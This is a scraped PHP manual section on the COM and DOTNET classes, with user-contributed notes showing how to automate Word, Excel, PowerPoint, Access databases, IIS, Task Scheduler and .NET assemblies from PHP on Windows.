9 (RAS)    CrystalReports.ObjectFactory.2
10 (RDC)   CrystalRuntime.Application.11
10 (CEE)   CrystalReports10.ObjectFactory.1

XI (RDC)   CrystalRuntime.Application.11
XI (RAS)   CrystalReports11.ObjectFactory.1
paul at completewebservices dot com dot au 28-Jan-2006 03:49
It seems that PHP does not support setting of properties with arguments.  This is how I got around the problem:

        // Object with method I want to set
        $auth = new COM("AUTHXOCX.AuthXOCXCtrl.1");

        // ScriptControl
        $oScript = new COM("MSScriptControl.ScriptControl");
        $oScript->Language = "VBScript";
        $oScript->AllowUI = TRUE;

        // Add out object to the control
        $oScript->AddObject('auth', $auth, true);

        // Create a VBScript function that allow me to set them
       $oScript->AddCode(
'Function fixAccess(accessname)
    auth.AuthDataReferrerEnabled(accessname) = 1
    auth.AuthDataAuthentiXDBEnabled(accessname) = 0
End Function');

        // Execute function
        $oScript->Run("fixAccess", $dir);
volker at kybs dot de 07-Oct-2005 12:51
To use the windows speech system install the "Speech SDK 5.1 for Windows? applications" from the Microsoft homepage (free download).
Then you can do Text2Speech like this:

$voice = new COM("SAPI.SpVoice");
$voice->Speak("Hello, lets have a conversation");
sadi at unicornsoftbd dot com 06-Oct-2005 01:56
If your PHP is configured as ISAPI module then the COM object you create in ur php page will use the same memory space as the web server. If your COM object takes too much memory then this may force some COM error as PHP does not handle the memory usage of COM itself. And also Web server doesnt know what do to free COM memory. But if you use PHP as CGI then PHP itself handle the memory usage of COM. Once in a script where i used COM and PHP as ISAPI module i got unknown COM error.But when i used PHP as CGI there was no error. So those who want to use COM object in your application please be careful about it.
deletethis@bjoern(at)syltonline(doot)de 15-Sep-2005 07:36
If you can get the old "TaskScheduler.dll" and register it, it is quite simple to handle and start Windows tasks from PHP.
This is extremely useful when you got things to do which must be run in a different user context. Prepare a task with the user and use PHP & Com to build a webinterface for it.

Here is an example how to start a Windows task:

  function start_task ($taskname) {
    $SchedObj = new COM("Scheduler.SchedulingAgent.1");
    foreach ($SchedObj->Tasks as $task) {
      if (strtolower( (string) $task) == strtolower( $taskname.".job" )) {
         $task->Run();
      }
    }
  }

I'm also working on a class to handle infos, adding and removing of tasks via PHP. If you are interested drop me a line.
jbr at ya-right dot com 19-Aug-2005 01:07
Getting * directory * permissions ( attributes ) with COM

PHP (5) example...

<?
    $dir = 'e:/www/docs/www/docs/junk/';

    define ( 'READ_ONLY', 1 );
    define ( 'IS_HIDDEN', 2 );
    define ( 'IS_SYSTEM', 4 );

    $hold = array ();

    $obj = new COM ( 'scripting.filesystemobject' );

    if ( is_object ( $obj ) )
    {
        $all = $obj->getfolder ( $dir );

        foreach ( $all->subfolders AS $directory )
        {
            if ( substr ( $directory->name, - 3 ) != 'cnf' )
            {
                $hold[$dir . $directory->name . '/'] =  array ( 'read_only' => ( ( $directory->Attributes & READ_ONLY ) <> 0 ? 1 : 0 ), 'is_hidden' => ( ( $directory->Attributes & IS_HIDDEN ) <> 0 ? 1 : 0 ), 'is_system' => ( ( $directory->Attributes & IS_SYSTEM ) <> 0 ? 1 : 0 ) );
            }
        }

        $obj = null;
    }
    else
    {
        echo 'sorry can not crate object: file_system_object';
    }

    print_r ( $hold );
?>

To do the same thing for * files * with in the directory named in $dir, change above ( foreach() ) to what is below...

        foreach ( $all->files AS $file )
        {
            $hold[$file->name] =  array ( 'read_only' => ( ( $file->Attributes & READ_ONLY ) <> 0 ? 1 : 0 ), 'is_hidden' => ( ( $file->Attributes & IS_HIDDEN ) <> 0 ? 1 : 0 ), 'is_system' => ( ( $file->Attributes & IS_SYSTEM ) <> 0 ? 1 : 0 ) );
        }

pretty much anything you could think of doing in windows can be done using PHP and COM...

John
csaba at alum dot mit dot edu 03-Mar-2005 05:21
Getting IE to the foreground
If you are using a command line (CLI) version of PHP on a Win32 platform (e.g. XP Pro, SP2), you might want to have output directed to IE (perhaps you'll want to work with the output there) when Popup does not suffice (see my earlier post, below).

It's easy enough to get an instance of IE using $ie = new COM("InternetExplorer.Application");.  The problem is, you don't necessarily see it in the foreground (especially if you already have one open) and who wants to waste keystrokes getting to it?  The code below has been working for me (If you want to do other adjustments (e.g. $ie->Document->ParentWindow->resizeTo(800,500); or $ie->Document->Body->bgColor = "yellow";), doing them before the $ie->Visible = true; line will avoid screen distractions):

<?php
function newIEtoForeground($title, $evtPrefix="") {
    // brings new instance of IE to foreground with title $title
    if (!$extPrefix) $ie = new COM("InternetExplorer.Application");
    else $ie = new COM("InternetExplorer.Application", $evtPrefix);
    $ie->Navigate2("about:blank");
    $oWSH = new COM("WScript.Shell");
    while ($ie->ReadyState!=4) usleep(10000);

    $ie->Document->Title = ($tmpTitle = mt_rand());  //unique title
    $ie->Visible = true;
    while (!$oWSH->AppActivate("$tmpTitle - M")) usleep(10000);

    $ie->Document->Title = $title;
    $ie->Document->ParentWindow->opener="me";  // allows self.close()
    return $ie;
}
?>

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 14-Feb-2005 12:22
Basic Windows IO
If you are using a command line (CLI) version of PHP on a Win32 platform, you might like to have a simple graphical interface to get input and output.  The following gives an illustration for both.

<?php
    // first we get some input
    $oScript = new COM("MSScriptControl.ScriptControl");
    $oScript->Language = "VBScript";
    $title = "I/O Demo: Input half";
    $initial = "Change this value";
    $prompt = "Please enter a value";

    $code = <<<EOF
Function getInput()
    inVal = InputBox("$prompt", "$title", "$initial")
    getInput = inVal         'how return values are assigned in VB
End Function
EOF;

    $oScript->AddCode($code);
    $input = $oScript->Eval("getInput()");
    if (gettype($input)=="NULL") $input = "Input box was cancelled";

    // now we show some output
    $oWSH = new COM("WScript.Shell");
    $title = "I/O Demo: Output half";
    $timeout = 2;        // 0 for no timeout
    $style = 0 + 48;    // buttons to show + alert symbol
    $oWSH->Popup($input, $timeout, $title, $style);
?>

This is example is overblown for illustrative purposes.  The whole input part collapses if the amount of code used is a single statement.  So, this would have sufficed:
$code = "InputBox(\"$prompt\", \"$title\", \"$initial\")";
$input = $oScript->Eval($code);

This technique exposes quite a bit of scripting power tied into the Windows operating system and VBScript.  However, you should have a really specific reason for using it since VBScript tends to be dog slow when compared to PHP in my tests.  Simple IO like this is good, however, and the popup size can be quite large.  Furthermore, this could be a viable route to go for accessing WinAPI's.

http://www.ss64.com/wsh/popup.html shows some documentation for $oWSH->Popup

Csaba Gabor from Vienna
phpguy _from_ toshpro _dot_ com 12-Nov-2004 05:55
if you ever need to connect to an access database (on the server, using the IIS or APACHE user account), here is code below that can help to ease the process.  It is written like this because we have a MySQL as well as an Access database and need to be able to switch back and forth.  The runQuery function will return a 2 dimensional array and can use column names or numbers for the index of the internal arrays.  External arrays are always integer-indexed.  We also have found issues with Access staying open and growing from 7MB to 2.5GB within two hours, so we open and close it each time we run a query.  If it is not a select query it will return TRUE.  if it fails with errors, it will return false.

There is a showErr flag that we mostly only use for MySQL, since you can output MySQL errors without PHP errors.  Access doesn't appear to be that friendly.

<?php

function runQuery(&$conn,
                    $strSQL,
                    $associative=true,
                    $debug=false,
                    $showSQL=false,
                    $showErr=false) {
    return runMSQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
    //return runMyQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
}

function openMSDB($dbfile="c:/path/and/filename.mdb") {
    if (!@$conn = new COM("ADODB.Connection"))
        exit("Unable to create an ADODB connection<br>");
    $strConn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$dbfile;
    @$conn->open($strConn);
    if($conn->State == 0) return false;
    return $conn;
}

function closeMSDB(&$conn) {
    @$conn->Close();
    $conn = null;
    return true;
}

function runMSQuery(&$conn,
                    $strSQL,
                    $associative=true,
                    $debug=false,
                    $showSQL=false,
                    $showErr=false) {
    if(!is_object($conn)) if(!$conn=openMSDB()) return false;
    if( $showSQL || $debug ) echo $strSQL."\n<br>\n";
    $rtn = false;
    if($debug) $rs = $conn->execute($strSQL);
    else $rs = @$conn->execute($strSQL);

    if(!$rs) {
        if($showErr) echo "Error running SQL.<br>\n";
        closeMSDB($conn);
        return false;
    }
    if ($rs->State == 0) {
        closeMSDB($conn);
        return true;
    } else {
        $rows=0;
        while(!$rs->EOF) {
            for($i=0;$i<$rs->Fields->count;$i++) {
                $rsf = $rs->Fields($i);
                if($associative) $rtn[$rows][$rsf->Name] = $rsf->value;
                else $rtn[$rows][$i] = $rsf->value;
            }
            $rows++;
            $rs->MoveNext();
        }
        if($rs->State != 0) $rs->Close();
        $rs = null;
    }
    if($debug) var_dump($rtn);
    closeMSDB($conn);
    return $rtn;
}
?>
sodeh at dana dot ir 30-Oct-2004 03:11
for connection to sql server and know the utf-8 code
use this method to connect the database

$db = new COM("ADODB.Connection",NULL, 65001 );
flintjt at hotmail dot com 11-Mar-2004 11:45
I have searched for ways to open and read an excel document and I found some information which I thought that I would document.  Information on the object model to help with programming COM objects can be found in your MS Office help files, search for VBA*.chm.
Also, here is a script that I used to pull a cell from each worksheet, complete w/ variable for pathnames & worksheets.  This script also closes excel completely.  The coding might be dirty, but it gets the job done.
--------copy from here-----------
<pre>
<?PHP
$filename = "c:/spreadhseet/test.xls";
$sheet1 = 1;
$sheet2 = "sheet2";
$excel_app = new COM("Excel.application") or Die ("Did not connect");
print "Application name: {$excel_app->Application->value}\n" ;
print "Loaded version: {$excel_app->Application->version}\n";
$Workbook = $excel_app->Workbooks->Open("$filename") or Die("Did not open $filename $Workbook");
$Worksheet = $Workbook->Worksheets($sheet1);
$Worksheet->activate;
$excel_cell = $Worksheet->Range("C4");
$excel_cell->activate;
$excel_result = $excel_cell->value;
print "$excel_result\n";
$Worksheet = $Workbook->Worksheets($sheet2);
$Worksheet->activate;
$excel_cell = $Worksheet->Range("C4");
$excel_cell->activate;
$excel_result = $excel_cell->value;
print "$excel_result\n";
#To close all instances of excel:
$Workbook->Close;
unset($Worksheet);
unset($Workbook);
$excel_app->Workbooks->Close();
$excel_app->Quit();
unset($excel_app);
?>
</pre>
----------------------------------
jon at jonroig dot com 03-Dec-2003 12:28
Here's a simple example of printing formatted templates with MS Word.

To begin with, I've already built my invoice in Word and saved it as an RTF file.
In this case, I'm using "sampleInvoice.php"

Fields that will be replaced have been marked as ||CUSTOMER ID|| and so on.

<?php
$dataText = "";

// open the file
if(!($fp= fopen ("C:\wordTest\sampleInvoice.rtf", "r"))) die ("Can't open");
$dataText = fread($fp, 2000000);
fclose ($fp);

// replace the template fields
$dataText = str_replace ("||CUSTOMER ID||",$customerIDValue, $dataText);

// save the file as an rtf
$timeStamp = time();
$saveFile = "C:/wordTemp/".$timeStamp."-invoice-".$customerIDValue.".rtf";
if(!($fq= fopen ($saveFile, "w+"))) die ("Can't open");
fwrite ($fq, $dataText);
fclose ($fq);

// initialize the word components
$word = new COM("word.application") or die("Unable to instantiate Word");

print "Loaded word version ($word->Version)\n";
$word->visible = true;
$word->Documents->Add();

// open the file
$word->Documents->Open("$saveFile");

// output the file to the default printer
$word->ActiveDocument->PrintOut(1);

// shutdown word
$word->Quit();
?>
drich at nea-online dot net 18-Nov-2003 02:47
Changing Fields (Not FORMFIELDS) In MS Word....

Searched most of the afternoon for this, as it is something needed here for our projects.  Maybe this can help someone else as well.

<?php
$input = "x:\\path\\to\\test.doc";
$word = @new COM("word.application") or die("Unable to instantiate Word");
print "Loaded Word, version {$word->Version}\n<br>";
$word->Visible = 1;
print "Set Word To Visible<br>";
$word->Documents->Open($input);
print "Opened $input<br>";
$word->Activate;
print "Activated Word<br>";

print "Editing Fields<br>";
$Field = $word->ActiveDocument->Fields(1);
$fieldData = $Field->Result;
$fieldData->Text = "Testing";

// Print the document.
$word->Printout();

// closing word
$word->Quit();

// free the object
$word->Release();
$word = null;

?>
Mihael Peternelj; Slovenia 18-Oct-2003 05:22
If you wnat to connect to Access MDB Library you can use this small "progy". It works so, that if someone other accesses the library, it waits for so long to access it again because (as i know) MDB librarys can be accessed only once at the same time.

<?php
function mdb($sql, $array = 0, $base = "Base.mdb", $timelimit = 5)
    {
    $r_items = array();
    $c = new COM("ADODB.Connection");
    $r = false;
    $time = time();
    $process = $i = 0;
    while($r == false && $process <= $timelimit)
        {
        $deb = $c->open('DRIVER={Microsoft Access Driver (*.mdb)}; Dbq='. realpath($base) .';');
        $r = $c->execute($sql);
        $process = time() - $time;
        }
    if($process >= $timelimit) exit("mdbSQL Query Timeout!");
    if(strtolower(substr($sql, 0, 6)) == "insert" or strtolower(substr($sql, 0, 6)) == "update" or strtolower(substr($sql, 0, 6)) == "delete") return true;
    $num_fields = $r->fields->count();
    while (!$r->EOF)
        {
        for($j = 0; $j < $num_fields; $j++)
            {
            $key = $r->Fields($j);
            if($array == 0) $r_items[$i][$key->name] = $key->value;
            else $r_items[$i][$j] = $key->value;
            }
        $i++;
        $r->MoveNext();
        }
    $r->close();
    $c->close();
    $r = null;
    $c = null;
    return $r_items;
    }
?>

I got the source from the Manual, what i did is that i made it more compatible and user frendly. :)

I hope it could some day help someone so as it did me...

Greetings from Slovenia!

Mihael Peternelj
admin at CdnDomainRegistry dot ca 20-Sep-2003 03:57
Here's an example/comparison of VBScript vs PHP's COM component to connect to an IIS Webserver.
The examples backup the IIS MetaBase (your server's website(s) configuration) in IIS.

VBScript:
  Dim obj, iFlags
  Set obj = GetObject("IIS://LocalHost")
  ' Backup to next available version number.
  ' Set flags to save the metabase first and
  ' force the backup even if save fails.
  iFlags = (MD_BACKUP_SAVE_FIRST or MD_BACKUP_FORCE_BACKUP)
  obj.Backup "MyBackups", MD_BACKUP_NEXT_VERSION, iFlags
  ' Note: The above was copied from Microbucks.
  ' This is how you would have to do it.
  ' i.e. use the actual constant's value.
  iFlags = (2 or 4)
  obj.Backup "MyBackups", &HFFFFFFFF, iFlags

PHP:
  <?php
  $obj = new COM("IIS://LocalHost")or die("Unable to instantiate IIS");
  $err = com_invoke ($obj, "Backup", "MyBackups", "&HFFFFFFFF", 2|4 );
  $obj = null;
  print "err=".$err; // returns 0 on success
  ?>

Glen
20-Sep-2003 10:49
Example on how to read a registry value:

<?php
  $shell= &new COM('WScript.Shell');
  var_dump($shell->regRead('HKEY_CURRENT_USER\Environment\TEMP'));
?>

(outputs string(39) "%USERPROFILE%\Lokale Einstellungen\Temp" on my system)
rickardsjoquist at hotmail dot com 09-Jul-2003 10:33
If you want to use a DSN-less connection to a database (access for example) and return the results of a query as a multidimensional array with the fieldnames as identifier try this. Hope it helps someone :-)
--------------------------------------------------------

<?php
function db($sql) {
    $c = new COM("ADODB.Connection");
    $c->open('DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=' . realpath("relative_path/db.mdb"));
    $r = $c->execute($sql);
    $i = 0;
    $num_fields = $r->fields->count();
    while (!$r->EOF)
        {
            for($j = 0;$j<$num_fields;$j++) {
            $key = $r->Fields($j);
            $r_items[$i][$key->name] = $key->value;
        }
        $i++;
        $r->MoveNext();
    }
    $r->close();
    $c->close();
    $r = null;
    $c = null;
    return $r_items;
}
?>

--------------------------------------------------------
use it like this:
--------------------------------------------------------
<?php
$results = db("SELECT field_a, field_b FROM table");
foreach($result as $i => $item) {
    echo $item['field_a'];
    echo $item['field_b'];
}
?>
--------------------------------------------------------
You can also use: print_r($result); if you want the structure of the array to be printed.
info at sharedprojects dot nl 16-Jun-2003 09:41
<?php
// An other way to connect
// this connect to a ODBC-datasourced added in the
// ODBC Data Source Administrator under System DSN

$odbcname = "northwind";
$conn->Open("DSN=$odbcname");
?>
eguan1ao_at_yahoo_dot_com 20-Nov-2002 01:35
An example of connecting to a Microsoft Access database, executing an SQL query, and displaying the results in HTML.

<?php

$db = 'C:\\Program Files\\Microsoft Office\\Office\\Samples\\Northwind.mdb';

$conn = new COM('ADODB.Connection');

// Two ways to connect. Choose one.
$conn->Open("Provider=Microsoft.Jet.OLEDB.4.0; Data Source=$db");
//$conn->Open("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$db");

$sql = 'SELECT   ProductName, QuantityPerUnit, UnitPrice
         FROM     Products
          ORDER BY ProductName';
$rs = $conn->Execute($sql);

?>

<table>
<tr>
          <th>Product Name</th>
         <th>Quantity Per Unit</th>
         <th>Unit Price</th>
</tr>
<?php while (!$rs->EOF): ?>
         <tr>
                  <td><?= $rs->Fields['ProductName']->Value ?></td>
                   <td><?= $rs->Fields['QuantityPerUnit']->Value ?></td>
                  <td><?= $rs->Fields['UnitPrice']->Value ?></td>
          </tr>
         <?php $rs->MoveNext() ?>
<?php endwhile ?>
</table>

<?php

$rs->Close();
$conn->Close();

?>
kmason at avaya dot com 29-Jul-2002 09:56
It should be noted that to run anything that needs to interact with the UI (the word example), one needs to ensure that the process that the Web server is running under can access the UI.  For Apache, this is an option in the Services control panel.
yinon at xacct dot com 06-Apr-2002 12:33
In order to get the Word exaple running, do the following on the server side.
Worked for me...
1. Click START-->RUN and enter "dcomcnfg"
2. In the "Applications" tab, go down to "Microsoft Word Document"
3. Click PROPERTIES button
4. Go to the "Security" Tab
5. Click "Use custom access permissions", and then click EDIT
6. Click ADD and then click SHOW USERS
7. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
8. Go back to the "Security" tab by hitting OK
9. Click "Use custom launch permissions", and the click EDIT
10. Click ADD and then click SHOW USERS
11. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
12. Hit OK, and then hit APPLY.

Also, you should look at the "Identity" tab in the Microsoft Word Document PROPERTIES and see that it is set to "Interactive User"

ALSO, log into the machine AS the IUSR_<machinename> account, start word, and make sure to click through the dialog boxes that Word shows the first time it is run for a certain user.  In other words, make sure Word opens cleanly for the IUSR_ user.

More useful information could be found here:
http://www.email-screen.com/support-doc2txt.html
Franky at boucheros dot com 19-Mar-2002 06:38
For Access to Ms Access
use another Provider like this:

<?php
$conn = new COM("ADODB.Connection")
or die("Cannot start ADO");
$conn->Open("Provider=Microsoft.Jet.OLEDB.4.0; Data Source=./thefile.mdb;");
$rs = $conn->Execute("SELECT * FROM thetable");
?>
mstaiger at informatik dot uni-siegen dot de 23-Jan-2002 06:17
The example above (MS Word) is quiet unsatisfying, as I find. Especially since I couldn't find anybody who actually got it running, including myself.

You might therefore give this Powerpoint-example a chance:
----------------------------------
#Instantiate a PowerPoint object.
$ppoint = new COM("PowerPoint.application") or die("Unable to instantiate PowerPoint");

<?php
#Create a new presentation
$ppoint->Presentations->Add() or die ("Could not create presentation");

//Add a slide
$slide=$ppoint->Presentations[1]->Slides->Add(1,1);

//Get the name of this slide
$slidename = $slide->Name();
echo"<br>slidename : $slidename";

//Change the name of this new slide
$slide->Name = "New Slidename";
$slidename = $slide->Name();
echo"<br>NEW slidename : $slidename";

//Save the presentation
$ppoint->Presentations[1]->SaveAs("c:/InetPub/www/test.ppt");
$ppoint->Presentations[1]->Close();

//closing powerpoint
$ppoint->Quit();

//free the object
$ppoint->Release();
$ppoint = null;
-----------------------
?>

the config is :
w2k-server/office2k/iis5/php 4.1.1 isapi

If you happen to run into a working word2k-example, please let me know.

Marc


COM class constructor

  • ? COM
  • DOTNET ?
  • PHP Manual
  • COM
  • COM class constructor

COM::__construct

(PHP 4 > 4.1.0, PHP 5, PHP 7)

COM::__construct — COM class constructor

说明

COM::__construct ( string $module_name [, mixed $server_name = NULL [, int $codepage = CP_ACP [, string $typelib ]]] )

Constructs a new COM object.

参数

module_name
Can be a ProgID, Class ID or Moniker that names the component to load. A ProgID is typically the application or DLL name, followed by a period, followed by the object name. e.g: Word.Application. A Class ID is the UUID that uniquely identifies a given class. A Moniker is a special form of naming, similar in concept to a URL scheme, that identifies a resource and specifies how it should be loaded. As an example, you could load up Word and get an object representing a word document by specifying the full path to the word document as the module name, or you can use LDAP: as a moniker to use the ADSI interface to LDAP.
server_name
The name of the DCOM server on which the component should be loaded and run. If NULL, the object is run using the default for the application. The default is typically to run it on the local machine, although the administrator might have configured the application to launch on a different machine. If you specify a non-NULL value for server, PHP will refuse to load the object unless the configuration option is set to TRUE.

If server_name is an array, it should contain the following elements (case sensitive!). Note that they are all optional (although you need to specify both Username and Password together); if you omit the Server setting, the default server will be used (as mentioned above), and the instantiation of the object will not be affected by the directive.

DCOM server name
key | type | description
Server | string | The name of the server.
Username | string | The username to connect as.
Password | string | The password for Username.
Flags | integer | One or more of the following constants, logically OR'd together: CLSCTX_INPROC_SERVER, CLSCTX_INPROC_HANDLER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER, CLSCTX_SERVER and CLSCTX_ALL. The default value if not specified here is CLSCTX_SERVER if you also omit Server, or CLSCTX_REMOTE_SERVER if you do specify a server. You should consult the Microsoft documentation for CoCreateInstance for more information on the meaning of these constants; you will typically never have to use them.

codepage
Specifies the codepage that is used to convert strings to unicode-strings and vice versa. The conversion is applied whenever a PHP string is passed as a parameter or returned from a method of this COM object. The code page is sticky, which means that it will propagate to objects and variants returned from the object. Possible values are CP_ACP (use system default ANSI code page - the default if this parameter is omitted), CP_MACCP, CP_OEMCP, CP_SYMBOL, CP_THREAD_ACP (use codepage/locale set for the current executing thread), CP_UTF7 and CP_UTF8. You may also use the number for a given codepage; consult the Microsoft documentation for more details on codepages and their numeric values.

User Contributed Notes

There are no user contributed notes for this page.


The DOTNET class

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

简介

The DOTNET class allows you to instantiate a class from a .Net assembly and call its methods and access its properties.

Note:

You need to install the .Net runtime on your web server to take advantage of this feature.

类摘要

DOTNET extends VARIANT {
/* 方法 */
__construct ( string $assembly_name , string $class_name [, int $codepage = CP_ACP ] )
}

Overloaded Methods

The returned object is an overloaded object, which means that PHP does not see any fixed methods as it does with regular classes; instead, any property or method accesses are passed through to COM and from there to DOTNET. In other words, the .Net object is mapped through the COM interoperability layer provided by the .Net runtime.

Once you have created a DOTNET object, PHP treats it identically to any other COM object; all the same rules apply.

DOTNET examples

Example #1 DOTNET example

<?php
$stack = new DOTNET("mscorlib", "System.Collections.Stack");
$stack->Push(".Net");
$stack->Push("Hello ");
echo $stack->Pop() . $stack->Pop();
?>

Table of Contents

  • DOTNET::__construct — DOTNET class constructor

User Contributed Notes

skennedy at assurity dot com 16-Aug-2018 05:14
Where is this DOTNET function? I get Class 'DOTNET' not found.
Bitterblue 30-Jul-2018 02:54
I worked with this the last few days and figured it out.
On stack overflow: https://stackoverflow.com/a/51541801/1442225
jcastromail at yahoo dot es 18-Nov-2016 09:04
using dotnet with visual studio 2015 (and net framework 4.6.1 but its the same with others).

1) In visual studio 2015, created a library project (in this case a C#)
2) Double click in the project -> build events -> post build

"C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.6 Tools\gacutil.exe"  /i "$(TargetPath)"

When the project its compiled, it adds to the GAC automatically. Please changes the bin folder according your installation.

3) in tools -> External tools, add the next external tool
Title: Get Qualified Assembly Name
Command: Powershell.exe
Arguments: -command "[System.Reflection.AssemblyName]::GetAssemblyName(\"$(TargetPath)\").FullName"
User Output Windows : checks

4) run tools -> Get qualified Assembly Name and checks the output windows

5) Creates the next class (Class1 may be its already creates)

namespace ClassLibrary2 // <-- changes it.
{
    public class Class1
    {
        public string Ping(string t1,string t2)
        {
            return "pong "+t1+t2;
        }
    }
}

6) in php

$full="ClassLibrary2, Version=1.0.0.0, Culture=neutral, PublicKeyToken=746927f9726d7222"; // its from the output windows
$class = 'ClassLibrary2.Class1'; // its the namespace and the class.

 $stack = new DOTNET($full,$class);
 $r1="hello";
 $r2="world";
 echo $stack->Ping($r1,$r2);

IMPORTANT NOTE: PHP "caches" the dll library, so every time that the dll library is compiled, the php service should be restarted (restart the apache service).
IMPORTANT NOTE 2: May be you should run Visual Studio as an Administrator.
juan156_elias at gmail dot com 04-Jun-2015 08:00
Using COM and DOTNET directly is quite a nightmare. DOTNET only allows you to target .Net 3.5 and below, and all the binaries need to be COM  Visible. This basically means that you will need to write your own .Net binaries for everything, at least wrappers.

There is a library out there (NetPhp) built on top of the COM class that will solve all these issues, so you can get code like this:

$manager = new \NetPhp\Core\NetManager();
$manager->RegisterAssembly('mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'mscorlib');
$manager->RegisterClass('mscorlib', 'System.IO.File', 'File');
$manager->RegisterClass('mscorlib', 'System.IO.FileOptions', 'FileOptions');
$file = $manager->Create('mscorlib', 'File');
$fileoptions = $manager->Create('mscorlib', 'System.IO.FileOptions')->Enum('Encrypted');

$file->Create("C:\\www\\prueba.tres", 2048, $fileoptions);
m dot atifmajeed at gmail dot com 11-Feb-2015 04:29
How to use donet class for creating object of parameterized constructor

http://php.net/manual/en/class.dotnet.php

private SGF ingerPrintManager m_FPM; //member variable
SGFPMDeviceName device_name = SGFPMDeviceName.DEV_ FDU02 ;
m_FPM = new SGF ingerPrintManager (device_name);
ricardopsj at gmail dot com 14-Apr-2014 01:30
Create an Excel Workbook using DOTNET.

<?php

$full_assembly_string = 'Microsoft.Office.Interop.Excel, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c';
$full_class_name = 'Microsoft.Office.Interop.Excel.ApplicationClass';

$e = new DOTNET($full_assembly_string, $full_class_name);
$wb = $e->workbooks->add();
$Precios = $wb->Worksheets(1);
$Precios->Name = 'Precios';
$Venta = $wb->Worksheets(2);
$Venta->Name = 'Venta';
$Tons = $wb->Worksheets(3);
$Tons->Name = 'Tons';

$Meses = Array('2014-01', '2014-02', '2014-03', '2014-04', '2014-05', '2014-06', '2014-07', '2014-08', '2014-09', '2014-10', '2014-11', '2014-12');
foreach ($Meses as $Numero => $Mes) {
   $Precios->Range("A" . ($Numero+1))->Value = $Mes;
}

$wb->SaveAs('c:\temp\Meta.2014.05.xlsx');
$wb->Close();

?>

Go to c:\windows\assembly to know what value to put in $full_assembly_string.

If you don't know the assembly, use http://www.red-gate.com/products/dotnet-development/reflector/ to browse it, use what you learn there to fill $full_class_name.

Enjoy,

Ricardo.
jan dot zahradnik at data3s dot com 06-Jan-2014 09:17
PHP searches only GAC for .NET 2.0 runtime, so your DLL has to be targeted 2.0 - 3.5 framework.

Also it recognize only classes, not stucts, so you can't instantiate DateTime for example.
sandips (yardi) 29-Jun-2011 02:57
exercise to try different type of method signature and calling them in php.

VB.net Code
Public Class Class1
    Public Function SayHello(ByVal input As String) As String
        Return "Php input: " & input & "</BR>Dot net library said- 'Hello'"
    End Function
    Public Function ConcatArray(ByVal Values As Object()) As String
        Dim ret As String = String.Empty
        For Each sval As Object In Values
            ret = ret & sval.ToString & " "
        Next
        Return ret.Substring(1, ret.Length - 1)
    End Function
    Public Function ReturnObject(ByVal FirstName As String, ByVal LastName As String) As Name
        Dim obj As New Name
        obj.FirstName = FirstName
        obj.LastName = LastName
        Return obj
    End Function
'To explain Byref doesn't work with php
    Public Function CallByRef(ByRef value As String) As String
        value = "Value to ByRef parameter set in dot net."
        Return "ByRef CallByRef() method called."
    End Function
End Class

Public Class Name
    Public FirstName As String = String.Empty
    Public LastName As String = String.Empty
End Class

Php code to test .net library
<?php
  $class1 = new DOTNET("DotNetTest,"
              ."Version=1.0.0.0,"
                          ."Culture=neutral,"
                      ."PublicKeyToken=6675daefc27eafc4"
              ,"DotNetTest.Class1");
 echo $class1->SayHello("Hi PHP!!!!");
 echo "</P>";

 $parameter[0] = 12345;
 $parameter[1] = "MyString";
 $parameter[2] = false;
 $ret = $class1 -> ConcatArray($parameter);
 echo $ret;
 echo "</P>";

 $Obj = $class1 -> ReturnObject("Sandip","Shimpi");
 echo $Obj->FirstName." ".$Obj->LastName;

 echo "</P>";
 $myByRef = "";
 echo "Value of ByRef Variable before calling .net CallByRef() method: ".$myByRef;
 echo "</BR>";
 echo $class1 -> CallByRef($myByRef);
 echo "</BR>";
 echo "Now value of ByRef Variable: ".$myByRef;
 echo $myByRef;
?>
Anonymous 04-Jul-2010 05:17
As suggested before, you'll likely have to use a full assembly string including the assembly name, the assembly version (not the dll file version), the culture, and the public key token.  Otherwise, you'll get a 'file not found' catchable error.  To quickly find this on your own system to get the ball rolling, open C:\Windows\assembly in explorer (not in cmd as that shows a different view), scroll down the list until you find the assembly you want to work with, hover the mouse over it, and the tooltip shows the exact string to use (though processcorArchitecture if shown is optional).  You'll have to use .net utilities or other methods to automate collecting this info on other machines.

You'll also have to use the fully-qualified class name.  In other words, if you want to use the 'Form' class within 'System.Windows.Forms', you have to use the full class hierarchy 'System.Windows.Forms.Form'.  Otherwise you'll get an unhelpful 'Failed to instantiate .Net object' catchable error.

The following example shows the correct syntax to use the 'Form' class to pop up a blank form from php-cli, which can be used in leu of many Windows GUI PHP extensions out there.  Replace Version with your local version, and PublicKeyToken with your own local key token.

<?php

$full_assembly_string = 'System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=a8425bc35256e463';
$full_class_name = 'System.Windows.Forms.Form';
$form = new DOTNET($full_assembly_string, $full_class_name);

// code to add buttons, menus, text, etc

$form->Show();

$form_event = '';
while($form_event !== 'close') {

  // handle form functions and events

  }
?>
murat at muratyaman dot co dot uk 11-Feb-2010 05:46
First, I hit the same mine:

"... Failed to instantiate .Net object [Unwrapped, QI for IDispatch] [0x80004002] No such interface supported ..."

In order to load the assembly and class in it successfully, I had to change my AssemblyInfo.cs file regarding the visibility of the types in it.

// some code above

// This sets the default COM visibility of types in the assembly to invisible.
// If you need to expose a type to COM, use [ComVisible(true)] on that type.
[assembly: ComVisible(true)]

// some code below
m holmes at windowlogic dot com dot au 21-Sep-2009 09:31
For strongly-named NET assemblies that are registered in the GAC, you can just use the assembly name
e.g: $x = new DOTNET ("myAssembly", "myClass");

For strongly-named NET assemblies that aren't registered in the GAC, you need to use the full assembly string
e.g. $x = new DOTNET('myAssembly, Version=X.X.X.X, Culture=neutral, PublicKeyToken=ZZZZZZZZZZZZ', 'myClass');

You can't instantiate assemblies that haven't been strongly named.

